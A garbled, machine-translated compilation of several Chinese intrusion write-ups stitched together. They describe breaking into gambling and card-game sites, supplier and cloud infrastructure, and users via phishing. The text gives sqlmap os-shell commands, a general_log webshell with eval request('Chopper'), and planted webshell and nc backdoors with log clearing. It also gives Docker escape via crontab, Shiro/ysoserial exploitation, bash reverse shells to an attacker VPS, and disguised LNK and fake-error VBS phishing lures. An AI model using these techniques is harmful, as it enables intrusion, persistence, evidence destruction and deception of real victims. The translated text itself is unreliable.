o0prruwsosb2302.png長い間バックグラウンドで検索した後、アップロードポイントが見つからなかったので、最初に置きました

他のsqlmapに戻ってチェックアウトし、注入があることを確認してください。

j0h5kkc0l2o2303.pngは16のライブラリを使い果たしました。名前によれば、ryplatformmanagerdbライブラリには、管理者関連の情報が含まれている場合があります。

oi2e0ji5wjg2304.png実行時計名

python sqlmap.py -r qipai.txt - tables -d ryplatformmanagerdb 1s4w5nlu4ak2305.png長い間検索した後、私は管理者のアカウントとパスワードを見つけました。

python sqlmap.py -r qipai.txt -is-dba xbmlrzfckvl2306.pngはDBA許可です。シェルを取得してみてください。SQLMAPを使用してMSSQLデータベースのパスを直接爆破するだけです

python sqlmap.py -r qipai.txt- OS -shellが使用する死角は遅く、長い間待った後、最終的にシェルを手に入れました。それは表面上の技術的な仕事ですが、実際には物理的な仕事です

現在のユーザー許可は非常に小さく、MSSQLデータベースの許可だけです

hhjun2lg1xz2307.png

SystemInfoシステム情報を確認すると、システムが64ビットWindows Server 2008であることがわかります

Cobaltstrikeは攻撃ペイロードを生成し、ターゲットマシンにPowerShellでロードします。ターゲットマシンが正常に起動されます

bycpu3ksouw2308.png

ネットユーザービューユーザー

3yin4kn2i2c2309.pngTASKLIST表示プロセス、ソフトを殺すふりをするべきではありません

dmac4a3yutv2310.png

ネットスタートの有効なサービスを表示すると、ファイアウォールが有効になっていることがわかります。したがって、以前のNMAPスキャン445およびその他のポートがフィルタリングされています

xzka2n1f3d52311.pngファイアウォールを閉じて、右はまだ上がっていません

ej3tjqdj4dv2312.png

iv。権利を引き上げる/weiの権利

このマシンはWindows Server 2008であることを以前に学んだので、ジャガイモを使用して権利を増やそうとしました(MS16-075)

xou4kdhiu5l2313.png実行後、しばらく待ちました。私は幸運でした。マシンはパッチを適用されず、当局は一度に成功裏に提起されました。私はシステムの権限を取得し、自分が望むことを何でも始めました。

klqjr4dli452314.pngファイル管理を入力すると、以前の情報が収集されたときにtest.htmlファイルを見ることができます。

zsmpakxivv12315.pngNETSTAT -ANOポートオープニングの状況をチェックしてください、3389が開かれていません

a0kwytr32mr2316.png

手動でオンにします

tiaytfonaad2317.pngリモートデスクトップにアクセスできます

twgenv2r21i2318.pngCOBALTSTRIKE私はそれを操作するのにあまり熟練していないので、MetaSploiteを使用してCSを介してMSFによって生成された馬をアップロードする必要があり、MSFは監視を可能にします

注:CSはシェルをMSFに直接導き出すことができますが、長い間試してみてセッションを返さないので、MSFの馬曲線をアップロードして国を救う以外に選択肢がありませんでした。

lzkxzk4kmx22319.pngMSF監視を有効にします

1dy203ssbjl2320.png CSでアップロードされた馬を実行します

itr45e0lxd12321.pngMSFシェルが正常に取得されました。

c5m5r2msdsm2322.pngパスワードハッシュを見る、MSFの馬は32ビットで、システムは64ビットであるため、取得できません

vjojv33nrkt2323.pngPSプロセスを表示し、プロセスでシステムの許可を得て実行されている64ビットプログラムを見つけてから、プロセスを移行した後にハッシュを取得します15oj4hcf1nf2324.png

オンラインでハッシュをクラックするWebサイトに移動して、管理者のパスワードを確認します。パスワードは複雑ではなく、数秒で見つけることができます。

4azfylwyykg2325.pngSUCCESSISSEESTISSESSEESTISE SUCTESSISTESTESTERTERIME LOGNETERITE DESKTOP

hlzj2ku2tvz2326.pngリバウンドシェル用の2つのバックドア、1つのウェブシェル、1つのセルフスタートNCを残してください

l4hemd3jdao2327.png

5。トレースをクリーンアップしてリトリート

MeterPreterのClearVコマンドは、ワンクリックでクリアされています

cquedrsv3zp2328.png

または、Windowsログを手動で削除します

1n2s45jksq02329.png

six.summary

cboqdascfry2330.png

7。実験的推奨

SQLMAPを使用した手動注射

https://www.hetianlab.com/expc.do?ec=ecid172.19.104.182015011915533100001pk_campaign=freebuf-wemedia

この実験の研究を通じて、SQLMAPを理解し、一般的に使用されるSQLMAPのコマンドをマスターし、SQLMAPを使用して注射を手動で支援することを学ぶことができます。

元のリンクから転載:

https://www.freebuf.com/articles/network/250744.html

私は多くのQP(チェスとカード)を作り、BCは浸透しました。私は一晩中2泊し、いくつかの皿を飲みました。私はこのプロセスについて簡単に話し、それを要約しました。

最初にQPについて話させてください。私の侵入の成功ケースを例にとると、まず第一に、情報収集が不可欠です。 QPの特徴は何ですか?

彼の背景は、図に示すように、サーバードメイン名の背後にあるさまざまなポートにセットアップされます。

图片

ポートに関する基本を見つけることができます。

エントリポイント:

アプリでSQLインジェクションまたはフィードバックの場所を見つけるXSS

パケットキャプチャが127.0.0.1を示し、パケットをキャッチできない状況があります。この状況は大きなプレートの状況を超えており、必ずしもTCP UDPプロトコルに従うとは限りません。 T-ICEで言及されているプロキシフィアグローバルプロキシを参照できます

背景があったら、それを曖昧にすることができます。一部の管理者はバックアップの習慣を持ち、新しい発見をする可能性があります。

比較的言えば、QPは非常に簡単です。

BCについて話して、昨夜の浸透の事例を見てみましょう。

图片

基本的に、大きなBCプレートにはさまざまな保護+ CDN標準が装備されています。結局のところ、他の人は、それほど多くのお金を稼いだ後、この小さなデバイスのお金を気にしません。

图片

图片

アカウントを登録し、XSSに電話する場所がないことがわかりました。停止

この種の大規模なサービスは一般的に非常に優れているため、ナビゲーションやポイントモールなど、あらゆる面でカードは非常に寛大です。

乱雑なものがあるはずです。メインサイトのVIPクエリページでは、SQLインジェクションであり、ThinkPHPフレームワークです。

图片

图片

图片

Thinkphp3.2.3、実際のIPを知らないCDNがあるため、背景は非常に面倒なものです。私はもともと、データベースのログに発見があるかどうかを確認したかったのです。

图片

图片

鳥に使用するために何もありません。ログファイルを読んでみてください。

图片

最後に、構成ファイルを読むと、非常に愚かなものが確認されました。

たぶん一晩後、人々の心は少し硬いです。

この種のBC背景を分離する必要があることを忘れていました。こんにちは。遅くまで起きてください。

それから。以前のエクスペリエンスに基づいて、いくつかの可能なパラメーターをメインドメイン名に手動で追加しました。 admin.xxxx.com AGDW。

このサイトは数ヶ月前から来たため、写真は完成しておらず、それらを補う方法はありません。

私がこの記事を書いていたとき、隣のカップルは拍手し、音は大声で、私は一度心が書かれていませんでした、そして私は少し混乱したかもしれません。また、私たちが安全なときに隣のそのような人々にしばしば出会うのはなぜですか?

既知のターゲットWebサイト

1049983-20231228205024042-1185790497.jpg

顧客は以前にこの種のウェブサイトを提供したことがあるので、私はそれを非常に深く覚えています。この種のWebサイトでは、通常、通常のテストプロセスを直接放棄できます。これは、経験から、Webサイトの主要なWebサイト機能が基本的に脆弱ではないため、サイドステーションからしか開始できないことを示しているためです。

Ctrl+Uは、漏れを見つけることなくJSの波をチェックしました。振り返ってみると、ウェブサイトの右上隅にディスカウントアクティビティホールがあることがわかりました

1049983-20231228205024694-384972596.jpg

ページは開いた後はおなじみのようです

1049983-20231228205025370-542661655.jpg

アクティビティをクリックして、自由にテキストを送信できるように見えました。フィルタリングはありませんでした。私は自信を持ってXSSを入力し、提出しました。しかし、2日が経ち、それは役に立たなかった。私の気分は雲、霧、雨のようでした。

1049983-20231228205026079-996834101.jpg

ただし、以下にレビューの進捗クエリがあることがわかりました。開いた後、ユーザー名を入力するように求められます。ユーザー名を入力したため、データベースに持ち込まれるクエリである必要があります。 「クリッククエリ」を習慣的に追加しました。 10秒が経過し、応答がありませんでした。私は混乱しました。通常および存在しないアカウントテストを入力するとポップアップされますが、単一の引用符を使用したクエリにはまったく応答しません。

F12-Networkでパケットをキャッチしたとき、送信リクエストがあることがわかりました。注入があったことは明らかであり、ページがthinkphpであることがエラーが報告されました。一番下の隅から、バージョンは3.2.3でした。このバージョンは、ポルノからローンプラットフォームまで、HCのお気に入りであり、ほうれん草まで、ThinkPhpのすべてのバージョンです。

1049983-20231228205026757-1898265725.jpg

最初に波を注入してみてください

1049983-20231228205027316-381045247.jpg

SQLMAPは、1つの波で管理者アカウントとパスワードを取得しました。突然、私は背景アドレスがないことに気付き、それを手に入れるのは役に立たなかった。

FOFAは1つの波で実際のIPを取得し、PHPMyAdminサービスがポート999に存在することを発見し、6588にはGuardianとHost MasterというタイトルのASPステーションがあります。ディレクトリブラスト、ポートスキャン、サブドメインマイニング、背景アドレスは見つかりませんでした。

1049983-20231228205027957-1242469807.jpg

OS-Shellは成功しましたが、私が入力したものは何もありませんでした。

SQL-Shellにも同じことが言えます。慎重に観察した後、私はウェブサイトのパスが守護神にインストールされていることを発見しました。

1049983-20231228205028629-561975365.jpg

それは守護神がそれを傍受したのかもしれません。当時、私はこのPHPサイトで衛兵神を使うことが何を意味するのか疑問に思っていました。

10分後にhwshostmasterを見つけるためにバイドゥに行ってから、私がどれほど無知であるかに気づきました。警備員の神は単なるwafではなく、彼はホストマスターと呼ばれる礼拝も持っていて、機能はおそらくphpstudyと同じであることが判明しました。

ローカルインストールを観察すると、ホストマスターがデフォルトでインストールされた後、PHPMyAdminがポート999で開始され、ポート6588がポート6で発売されることがわかりました。

1049983-20231228205029347-347117277.jpg

ターゲットサイトにはphpMyAdminがあるため、SQLMAPを使用して相手のデータベースアカウントとパスワードハッシュを列挙しようとします。

sqlmap –r sql.txt - string='surname' - users - password

SQLMAPはルートとテストを列挙します。ルートパスワードはクラックされていませんが、テストパスワードは1234にクラックされています。ログインに正常に。

1049983-20231228205030057-215667047.jpg

この状況に関しては、Mu Shenの黒と白の日の要約に関する黒と白の日の公式記述には、詳細に書かれた記事があります。 Mu Shenがこの記事を見たら、広告料を支払うように頼んでください。

通常、MySQLデータベース、IntoUoutFile、およびエクスポートログからGetTingshellに2つの方法があります。

注入されたエラーページのファイルアドレスに応じて

1049983-20231228205030723-741784667.jpg

construct statement selece 1 into Outfile 'd:/wwwroot/xxx.com/web/1.txt'エラー#1-ファイルに作成/書き込みできない、許可を持たないでください

1049983-20231228205031295-494446252.jpg

ログの書き込みを使用して、最初にログをオンにしてから、次にログをオンにしてみてください

グローバルgeneral_log_file='d: \\ wwwroot \\ xxx.com \\ web \\ a.php'まだ機能しないようです、私はクラックしました。

1049983-20231228205031948-1438742021.jpg

突然、このwwwrootディレクトリには許可がないので、ガーディアンホストマスターの管理ページはできますか?ローカルにインストールされているホストマスターファイルをめくった後、ホストマスターの管理ページの絶対パスがD: \ hws.com \ hwshostmaster \ host \ webであることを確認できます。

グローバルgeneral_log_file='d: \\ hws.com \\ hwshostmaster \\ host \\ web \\ 1.asp' 'sucededを設定します。

1049983-20231228205032581-565330167.jpg

次に、「%eval request( 'Chopper')%」を選択して、http://xxx.xxx.xxx.xxx:6588/1.ASPエラー404にアクセスします。この問題は長い間困難でした。後で、現在のログファイルにアクセスできるように、ログファイルを他のファイルに置き換える必要があることがわかりました。 CNIFE接続が成功しました

1049983-20231228205033306-373989473.jpg

Whoamiはそれがシステムの許可であることを発見したので、残りは簡単でした。警備員がチェックと殺害を防ぐために、MSFが生成されます。 certutilを介してダウンロードされ、実行されます。 MSFはオンラインで発売され、移行プロセスはloadmimikatzです。 1つのセットの後、リモートアカウントのパスワードを取得し、ズボンを脱いでソースコードを梱包し、顧客に提出しましたが、完了しました。概要:1。メインサイトには抜け穴がありません。サイドステーションでアクションを実行します。ここでは、プロモーションアクティビティの資金調達ホールから、登録ページがあることがわかります。オンラインXSSスクリプトをネストして、管理者Cookie情報を取得することはできますが、Cookie2は取得していません。 Review Progressクエリで、実際のユーザー名を入力して、1回の見積もりを追加します。ページは対応していません。 F12は、ThinkPhpであるページにエラーがあり、バージョンが3.2.33であることを発見しました。 SQLMapを介して注入して、使用するハッシュ値を取得します。ここでは、ルートとテストのハッシュ値を取得します。これにより、テストのハッシュ値を復号化できます。 sqlmap –r sql.txt - -string='surname' - users - password4。 FOFAを介してターゲットWebサイトの対応するIPの他のポートをクエリし、999ビットPHPMYADMINポートと6588ビットエスコートゴッドマネジメントインターフェイスを含むポート999および6588があることを発見しました。 5.テストを通じてphpmyAdminの背景を入力し、注入エラーによって表示されるWebサイトの物理的パスに従って、into intemortメソッドを介してWebShell6に書き込むことができます。最初にWebディレクトリに書き込み、許可がないことを表示します 'd:/wwwroot/xxx.com/web/1.txt'7に1を選択します。ログログをオンにするか、検索するか、General_log_file='d: \\ wwwroot \\ xxx.com \\ web \\ a.php'8を設定します。 wwwrootディレクトリには許可がないため、ガーディアンホストマスター管理ページを使用できますか?ローカルインストールされたホストマスターファイルをめくると、ホストマスターの管理ページの絶対パスがd: \ hws.com \ hwshostmaster \ host \ webであることを確認できます。ログセットGlobal general_log_file='d: \\ hws.com \\ hwshostmaster \\ host \ web \ 1.asp'9を変更してください。次に、[%eval request( 'Chopper')% "を選択します。10。ナイフから正常に接続します

元のテキスト接続から転載: https://mp.weixin.qqc.com/s?__biz=mzg4ntuwmzm1ng==mid=22474860688IDX=2SN=4E32251AAF8C25EFEE653B3314A05A29CHKSM=CFA6A6 7F8D127715B23C7B8403A08CCFAC2E1BFF2AC68030401D54698BCB10CD637A55F7D15SCENE=178CUR_ALBUM_ID=1553386251775492092098#RD

1。サプライチェーン

長年の攻撃的および防御的な対立の後、多数のターゲットユニットが安全保護の重要性を徐々に実現しました。したがって、彼らは可能な限り資産のエクスポージャーを制約し、さまざまなセキュリティデバイスの展開を2倍にするための措置を講じました。ただし、安全保護は包括性に焦点を当てており、明確な短期的な効果があります。短期的な状況が発生すると、保護システム全体が即座に崩壊する可能性があります。ターゲットユニットのサプライチェーンは、多くの場合、これらの弱点を集中しています。これらのサプライチェーンは暴露されるだけでなく、複雑な関係のためにそれらの監視と管理をより困難にします。したがって、攻撃チームは通常、サプライチェーンから開始し、ターゲットユニットの強力な防御システムを回り道でバイパスし、ターゲットユニットを制御することを選択します。

検索エンジンで「システム名」ターゲットユニットを検索します

image.png

関連するサプライヤー情報を見つけ、サプライヤーを攻撃することにより、ターゲットユニットのデータと許可を取得します。

image.png

1.1、heapdumpリーク

サプライヤー資産を貫通することにより、特定の資産の管理ディレクトリにHeapdumpファイルのリークが見つかったことがわかりました。

image.png

ここでは、Heapdumpの使用について詳しく説明しません。多くの記事は、その原則と利用に関する詳細な研究を実施しています。 RCEは、特定の状況下で直接実行できます。ここには大量の機密情報が漏れており、パスワード情報がパスワードブックに追加されます。

image.png

Minioにログインして、ターゲットユニットに関する大量の機密情報を見つけます。また、他のユニットに関する機密情報もあります。

image.png

NACOSにログインし、多数の構成ファイルを追加し、パスワードブックにパスワード情報を追加してください![]

image.png

OSSにログインして、ターゲットユニットに関する大量の機密情報を発見します

image.png

1.2。 WeChatアプレットインターフェイスは承認されていません

1.2.1。 WeChatアプレットの開梱

WECHATアプレットを開梱する場合、最初に行う必要があるのは、ターゲットアプレットのWXAPKGファイルを取得することです。 WXAPKGファイルは、WeChatアプレットのインストールパッケージファイル形式であり、アプレットのコード、リソース、その他の必要なファイルを別のファイルにパッケージ化するために使用されます。ただし、Windows環境のWXAPKGファイルのJSコードとリソースファイルは一般に暗号化されており、最初に復号化してからファイルの内容を開梱して取得するには、特別に設計された復号化ツールが必要です。開梱は、iOSおよびAndroidプラットフォームで直接実行できます。

1.2.1.1。 wxapkgファイルを取得

WXAPKGファイルを取得する場合、最初にフォルダー内のファイルを削除し、次にアプレットを再開して、他のファイルが干渉しないようにすることをお勧めします。

iOS WXAPKGファイルストレージパスは次のとおりです。

/var/mobile/containers/data/application/{system uuid}/library/wechatprivate/{user hash value}/weapp/localcache/{release/{appid of Applet}

Android WXAPKGファイルストレージパスは次のとおりです。

/data/data/com.tencent.mm/micromsg/{user hash value}/appbrand/pkg/

WINDOWS WXAPKGファイルストレージパスは次のとおりです。

c: \ users \ {system username} \ documents \ wechat files \ applet \ {appid of applet} \

image.png

1.2.1.2。復号化操作

次の2つのGitHubプロジェクトを復号化できます

https://github.com/superdashu/pc_wxapkg_decrypt_python

https://github.com/blacktrace/pc_wxapkg_decrypt

復号化の原則

image.png

正常に復号化されました

image.png

1.2.1.2。操作の開梱

Guoguang Bossが提供するツールダウンロードリンク

https://SQLSEC.LANZOUB.COM/I1NEP0MX694F

ノードwuwxapkg.js 1.wxapkg

image.png

アプレットを開梱し、フロントエンドJSコードを取得し、それから抽出してインターフェイスを取得します

image.png

フロントエンドページには初期化の障害が表示されますが、ターゲットインターフェイスへの直接アクセス

image.png

ただし、トラフィックパケットでデータが取得されており、ターゲットユニットの1,000万近くの機密情報が見つかりました。

image.png

1.3。 Webプログラムは

に到達します

上記のパスワードを通じて、アカウントを作成するためにパスワードがノックアウトされますが、このアカウントには最小許可があり、操作許可はありません。クリックして組織構造を検索すると、現時点では返品情報がありませんimage.png

パッケージをキャッチして、ParentIDとOrglevelを削除してから、パッケージを送信すると、許可なくすべての従業員の組織構造を確認できます。

image.png

クリックしてパスワードを変更し、上記の役割を追加してすべてのアクセス許可を取得します

image.png

多くのデータを取得します

image.png

1.4。公式アカウント

JSリークパスワード、パスワードはターゲットユニットの公式アカウントにヒットする可能性があります

image.png

2。クラウドネイティブセキュリティ

コンテナ化された展開とマイクロサービスアーキテクチャは、アプリケーション開発と展開の柔軟性、スケーラビリティ、保守性、パフォーマンスを向上させます。ますます多くのメーカーが使用しています。新しいアプリケーションでは、コンテナエスケープ、サービス間攻撃、API乱用などの新しい攻撃面が導入されます。攻撃者は、これらの新しいエントリポイントを悪用してアプリケーションとデータを攻撃することができます。クラウドネイティブ環境でのユーザーとサービスの認証と認証を管理することがより複雑になります。多くのアプリケーション開発者は、コンテナ化されたクラウドネイティブアーキテクチャの利便性と効率性を追求する際に、しばしば二次的な位置を見落としたり、配置したりします。これは、クラウドネイティブ環境の脆弱性に直接つながり、さまざまなセキュリティの脅威や攻撃に対して脆弱です。

2.1。ハーバーミラーウェアハウス

ハーバーは、組織がDockerコンテナの画像を保存、管理、配布できるように設計されたオープンソースコンテナ画像リポジトリマネージャーですが、Harborには論争の的となっている「脆弱性」があります。ユーザーはパブリックイメージを直接取得できます。

image.png

画像ファイルを直接プルしてダウンロードし、スクリプトを使用してバッチでダウンロードできます。

image.png

2.2。疑わしいバックドア

画像ファイルを介してJARパッケージを取得し、構成ファイルなどの機密情報を取得し、JARパッケージのクラスファイルを逆コンパイルし、コード監査を実行してバックドアのような脆弱性を取得します。このインターフェイスは、ユーザー名を使用してシステムの背景にログインするだけです。管理者の権限は、ファイルアップロードと組み合わせてサーバーアクセス許可を取得するために使用されます。

image.png

構成ファイルなどを介してデータベースに接続します。

image.png

2.3。 Dockerは許可されていません

2.3.1。レジストリAPI不正アクセス

DockerレジストリAPIでは、認証と承認は通常、アクセストークンまたはユーザー名とパスワードに基づいています。アクセス制御権限が正しく設定されていない場合、不正アクセスの脆弱性が発生します。攻撃者は、レジストリリポジトリのすべてのミラーコンテナを直接ダウンロードできます。

/v2 /_catalogインターフェイスにアクセスして、すべてのリポジトリの内容を表示します

image.png

https://github.com/soufaker/docker_v2_catalog

上記のツールを使用して、ミラーを直接ダウンロードします

2.3.2。 DockerリモートAPI不正アクセス

コンテナクラスターを管理するために、Dockerは、パラメーター-hを使用して、管理インターフェイスを介して送信されたDockerコマンドを背景デーモンとしてデーモンを実行できます。

0.0.0.033602375 Dockerを開始します

デーモンのとき、ポート2375が開かれ、リモートDockerクライアントからコマンドを受信します。この場合、ポート2375は暗号化されていないポートとして公開されており、認証の形態はありません。攻撃者は、Dockerコマンドを使用してDockerに直接接続できます

デーモン、およびコンテナで直接操作を実行し、ルートディレクトリマウントでコンテナエスケープを実現できます。

#viewコンテナ

Docker -H TCP: //Target:2375 PS -A

image.png

#ホストのルートディレクトリをコンテナ内のMNTディレクトリにマウントします

Docker -H TCP3360 //Target:2375 RUN -IT -V/:/MNT NGINX:LATEST/BIN/BASH

#Reboundシェル

Echo 'Bounce Shell Command'/MNT/VAR/SPOOL/CRON/CRONTABS/ROOT

2.4。 NACOS

NACOSは、オープンソースのダイナミックサービスの発見、構成管理、サービス管理プラットフォームです。登録センター、構成センター、サービス管理などの機能を提供し、開発者がマイクロサービスアーキテクチャのサービス登録、構成管理、サービス発見要件を実現するのに役立ちます。

オープンソースツールとして、多くの脆弱性が明らかにされています。

不正アクセス:/nacos/v1/auth/users?pageno=1pagesize=1ユーザーの直接ビュー

ユーザーを追加:post/nacos/v1/auth/users username=password=

ユーザーパスワードの変更:Curl -X Put 'http://127.0.0.1:8848/nacos/v1/auth/users?accesstoken \=' -h 'user -agent3:nacos -server' -d 'username \=test1newpassword \=test2' '

弱いパスワード:NACOS/NACOS

image.png

パスワードをバックグラウンドに爆破するようにスケジュールすることにより、多数の構成ファイルが見つかりましたが、機密情報は暗号化されました

image.png

2.4.1、JASYPT暗号化

データベースパスワードなど、Springの構成ファイルにはいくつかの機密情報があります。そのため、機密情報を暗号化することもあります。 Jasyptは比較的便利なツールです。 JASYPTは、機密データ(パスワード、APIキーなど)の暗号化と復号化操作を簡素化するために使用されるJavaライブラリです。

暗号化されたコンテンツはEnc(.)に同封する必要があり、暗号化されたパスワードはjasypt.encryptor.passwordによって指定されます。

spring:

DataSource:

username: your-username

Password: enc(暗号化されたパスワード)

復号化する必要があるため、パスワードは構成ファイルまたはコードに配置する必要があります。

#application.yml

JASYPT:

encryption:

Password:パスワード

algorithm:暗号化方法

復号化データ:復号化装置の復号化方法を使用して、暗号化されたデータを復号化します。

org.jasypt.util.text.basictextencryptorをインポートします。

パブリッククラスdecryptionexample {

public static void main(string [] args){

string encryptionkey='yourencryptionkey'; //暗号化キー

basictextencryptor textencryptor=new basictextencryptor();

textEncryptor.setPassWord(encryptionKey);

string encryptedText='necryptedText'; //暗号化されたデータ

string decryptedText=textencryptor.decrypt(encryptedText);

system.out.println( 'decrypted text:' + decryptedText);

}

}

ただし、クライアント暗号化のセキュリティは、主にクライアントコードの保護と信頼性に依存します。パスワードが漏れていると、暗号化が自然に失敗します。 ncaosファイルでJasypt暗号化されたパスワードを見つけた場合、直接復号化できます

image.png

OSSに正常に接続されています

image.png

データベースに正常に接続されています

image.png

ミニプログラムトークン、ミニプログラムを引き継ぎます

image.png

Damengデータベースは、国内のリレーショナルデータベースです。次のツールを使用して接続できます。

https://github.com/864381832/x-rdbmssynctool/releases/tag/v0.0.3

3。 nday

3.1。 Yongyounc jsinvoke rce脆弱性

脆弱性エクスプロイトメソッド、java反射メカニズムを介してjavax.naming.initialcontextオブジェクトを作成し、LDAPプロトコルを使用して指定されたIPアドレスとポートに接続します。次に、「nc.itf.iufo.ibasespservice」サービスの「savexstreamconfig」メソッドを呼び出し、オブジェクトと文字列をパラメーターとして受け入れ、コマンド実行の効果を達成します。

コマンドは正常に実行されましたが、ターゲットシステムにはソフトキルがあるため、ファイルを直接アップロードできません

image.png

3.1.1、certutil

Certutilは、Windowsオペレーティングシステムのコマンドラインツールです。主に証明書と暗号化関連の操作を処理するために使用されます。 certutilの復号化操作はバイパスできます。

echo bash64 myfile.jspをエンコードします

image.png

certutilを使用してデコードします

certutil -Decode Trojan相対パスデコードされたトロイの木馬相対パス

image.png

Ice Scorpionはオンラインで、CSが発売されます

image.png

3.2。 2つの

で開く場合

シロの穴が固定され、フロントデスクの情報漏れ脆弱性が見つかりました

image.png

ユーザー名を取得することにより、弱いパスワードを使用して背景、通常のアクセス許可を入力します

image.png

繰り返しになりますが、発表の投稿はパスワードを推測し、背景に正常にログインしました。システム管理権限が追加され、ユーザーには最高の権限が与えられました。

image.png

ユーザーログインを追加し、時限タスク関数を発見し、タイムされたタスクを直接使用してコマンドを実行する

image.png

3.3、shiro

ターゲットパスにアクセスすると、最初に統一された認証ログインにジャンプし、ほとんどの人がパスにシロデリリア化の脆弱性があることを無視します。

image.png

トライスルーメンタリティで、私はシロをスキャンし、直接許可を取得しました。

image.png

元のリンクから転載:https://forum.butian.net/share/2442

環境を取得:

ミラーをローカルに引っ張ります

$ docker pull medicean/vulapps:s_shiro_1

環境を開始します

$ docker run -d -p 80:8080 Medicean/vulapps:S_shiro_11。 shiro_attack_2.2ツールを使用してターゲットシステムを確認し、デフォルトキーがあるが、使用率チェーンはないことを発見しました

image_ylgMY223mT.png

2。shior_tools.jarを使用して、ターゲットシステムを直接検出します。検出が完了すると、実行可能操作が返されます。

Java -jar Shiro_tool.jar http://10.11.10.10.10833608081/login.jsp

vmd4mlzogw52427.png

2. [0]を選択し、DNSLOGアドレスを入力します。 DNSLOGテストを通じてエコーがあります。メモは次のとおりです。http://dnslog.cn/someサイトを使用すると、複数のdnslogプラットフォームに変更してテストできます。

image_htB_EhwPH9.png

dnslogにはエコーがあります。次に、シェルを取得します。固定思考のために、私は以前にLinuxに遭遇しました。私はそれがLinuxだと思ったが、私はそれをうまく使わなかった。最初は、ファイアウォールの傍受だと思っていました。その後、ディレクトリ構造を検出して、それがWindowsであることがわかったので、ここでペイロードを変更する必要がありました。

3. Ysoserialを使用して、パブリックネットワークVPSでポートを開き、リバウンドコマンドを実行します

Java -CP YSOSERIAL-MASTER-30099844C6-1.JAR YSOSERIAL.EXPLOIT.JRMPLISTENER 1999 CommonsCollectionS5 'エンコード後のBASHコマンド

teszfudneua2429.png

image_wvD-c4KvV-.png

1049983-20231226000544164-439019386.jpg

ここのエンコードコンテンツはステップ4にあります

ピット1:commonscollection1-5シェルがリバウンドしない場合は、代わりに使用します

4.バッシュリバウンドコマンド編集

https://x.hacking8.com/java-runtime.html//encoded link

次の3種類の実行コマンドが必要に応じて選択されます。

ピット2:ここで実行されたbashコマンドは、最初に相手の実行システムに依存します。 Linxuの場合は、次の3つを試してください。勝っている場合は、Baiduリバウンドコマンドを個別に送信してください。

bash -i/dev/tcp/vpsip/7777 01

/bin/bash -i/dev/tcp/vpsip/7777 01 21

0196; exec 196/dev/tcp/vpsip/7777; SH 196 196 2196

2番目のタイプ、IP:シェルのVPSを受け入れるIPは、ポート:NCを使用して監視を開き、リバウンドするポートです。

/bin/bash -i /dev/tcp/192.168.14.222/8888 01 21

tr1mmaku1md2432.png

Windows:Java -CP YSOSERIAL-0.0.6-SNAPSHOT-1.8.3.JAR YSOSERIAL.EXPLOIT.JRMPLISTENER 88 COMMONSBEANUTILS2 'LDAP: //VPSアドレス:1389/基本/コマンド/D2HVYW1P'

d2hvyw1pはコマンドのbase64です。ここに実行コマンドwhaamiがあります

Java -jar jndiexploit -1.0 -snapshot.jar -i VPSアドレス

5。NCモニタリング

jsnnlcnbrn02433.png

6.シェルのVPSによって開かれたポートとJava-solserial-jrmplistenerを入力します(ここで1を選択して、Jrmpclientを使用してシェルをリバウンドします)

dtvgbzrtuyc2434.png

7.実行の成功、リバウンドシェル

ta01fpf2ar22435.png

oehbrq3rwby2437.png

0l4rrdafylr2438.png

簡単な説明

釣りは、攻撃的および防御的な対立における一般的な方法です。攻撃者は通常、法的機関、企業、個人などの信頼できるエンティティに隠れており、被害者を誘い込んで敏感な情報を明らかにしたり、悪意のある事業を実行したりします。彼らはターゲットの傷をすばやく引き裂き、イントラネットにすばやく入力してポイントをブラシをかけることができます。トロイの木馬を提出するとき、彼らはアンチウイルスソフトウェアの回避を検討する必要があります。この記事では、対立を殺すことを避けるために、いくつかの一般的なフィッシング方法とトロイの木馬に焦点を当てます。

情報収集

バッチメールボックスコレクション

https://APP.SNOV.IO/

http://www.skymem.info/

検索エンジン

一般的に、企業の電子メールには電子メールゲートウェイがあり、電子メール配信は払い戻しによって簡単にブロックされるため、メールサーバーによってブロックされていないプライベートメールまたは電子メールを選択する必要があります。

XXで報告されているように、XX募集は一般の電子メールアドレス、関連する構文に直面しています。

site:'xxx.com 'レポート

site:'xxx.com '募集

XX Company Report @126.com

XX Company Recruitment @QQ.com

image-20231103173433363

釣り技術

ソーシャルワーカー釣り

最初はターゲット選択です。ターゲットグループ:HR、マネージャー、財務、および安全性の認識が弱い他の人々が望ましい。それらに対処するために、事前に複数のシナリオセットを準備します。

高い成功率で釣りのためにターゲット企業支店を選択します。発見されないように、言葉と応答の測定について事前に考えてください。本部にいないことをお勧めし、IT情報セキュリティ部門を避けることが最善です。

Sheniuのマスターは、電話で釣りをして信頼を獲得し、WeChatを追加してTrojan Horsesを送ることができます(並外れた心理的資質と適応性が必要です。

メールフィッシング

マスメール(推奨されない、管理者が簡単に発見するか、電子メールゲートウェイでインターセプトされます)

主要な個人用メールアドレスを収集して、方向配信を配信します(推奨され、高度に隠されています)

福祉補助金の発行

現在の問題に従って、さまざまな福祉活動を使用してターゲットユーザーを引き付けてクリックし、フィッシングリンクをQRコードに変換して送信します

image-20231104103425528

image-20230922182918302

履歴書配達

募集と配達履歴書、HRは、多数の履歴書に面しているときにサフィックスを注意深く確認しません

image-20231104105527137

釣りのコピーを書くことができませんか?それは問題ではありません。自動的に生成できる場合は、手作業で使用しないでください。これがChatGptの兄弟のための鶏の脚です

image-20231103155359779

レポートレター

XXX Real-Nameのレポートと苦情、この種の電子メールは通常処理され、すぐにフィードバックされます

ryp4e4iibef2450.png

ファイニングファイル変装

一般的なヒント

トロイの木馬は、圧縮、パスワードを追加してコンテンツを非表示にする必要があります。

珍しいサフィックスを選択しますが、SCR、COMなどのEXEとして実行できます。

ファイル名の名前は長いです。他のファイルが正しく表示されない場合、プレビュー中に接尾辞が表示されません。

lnk釣り

ターゲットユニットが360 TIANQINGを使用していないことがわかっている場合は、LNKファイルをフィッシングに使用できます(360はインターセプトします)

ショートカットのターゲット位置に記入してください:

%windir%\ system32 \ cmd.exe /c start。\ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ xxx.doc amp; amp; amp; c: \ windows \ explorer.exe '。\ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ fsx.exe'

img

アイコンの変更パスの選択:

C: \\プログラムファイル(x86)\\ microsoft \\ edge \\アプリケーション

%SystemRoot%\\ System32 \\ imageres.dll

%SystemRoot%\\ System32 \\ shell32.dll

image.png

ボックスエラーのヒント

msgboxを実行して「ファイルが破損している」およびその他の混乱するコンテンツをプロンプトします

VBS実装

エラーの再開時に次に再開します

wscript.sleep 2000

msgbox '現在のファイルが破損しているので、ツールを変更して開く 』、64、' tip '

